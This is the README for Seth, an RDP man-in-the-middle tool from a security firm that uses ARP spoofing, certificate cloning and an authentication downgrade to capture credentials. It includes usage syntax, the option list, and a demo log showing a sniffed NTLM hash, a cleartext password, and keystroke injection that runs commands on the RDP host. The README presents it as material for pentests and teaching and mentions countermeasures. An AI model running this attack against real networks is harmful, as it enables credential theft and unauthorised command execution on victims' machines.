Seth
Seth is a tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials. It was developed to raise awareness and educate about the importance of properly configured RDP connections in the context of pentests, workshops or talks. The author is Adrian Vollmer (SySS GmbH).
Usage
Run it like this:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
Unless the RDP host is on the same subnet as the victim machine, the last IP address must be that of the gateway.
The last parameter is optional. It can contain a command that is executed on
the RDP host by simulating WIN+R via key press event injection. Keystroke
injection depends on which keyboard layout the victim is using - currently
it's only reliable with the English US layout. I suggest avoiding special
characters by using powershell -enc <STRING>, where STRING is your
UTF-16le and Base64 encoded command. However, calc should be pretty
universal and gets the job done.
The shell script performs ARP spoofing to gain a Man-in-the-Middle position
and redirects the traffic such that it runs through an RDP proxy. The proxy
can be called separately. This can be useful if you want use Seth in
combination with Responder. Use Responder to gain a Man-in-the-Middle
position and run Seth at the same time. Run seth.py -h for more
information:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
For more information read the PDF in doc/paper (or read the code!). The
paper also contains recommendations for counter measures.
You can also watch a twenty minute presentation including a demo (starting at 14:00) on Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
Or watch just the demo (with subtitles) here: https://www.youtube.com/watch?v=JvvxTNrKV-s
Demo
The following ouput shows the attacker's view. Seth sniffs an offline crackable hash as well as the clear text password. Here, NLA is not enforced and the victim ignored the certificate warning.
# ./seth.sh eth1 192.168.57.{103,2,102}
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ by Adrian Vollmer
โโโโโโโโโโโโโโ โโโ โโโโโโโโ [email protected]
โโโโโโโโโโโโโโ โโโ โโโโโโโโ SySS GmbH, 2017
โโโโโโโโโโโโโโโโ โโโ โโโ โโโ https://www.syss.de
โโโโโโโโโโโโโโโโ โโโ โโโ โโโ
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
Requirements
-
python3 -
tcpdump -
arpspoofarpspoofis part ofdsniff -
openssl
Disclaimer
Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.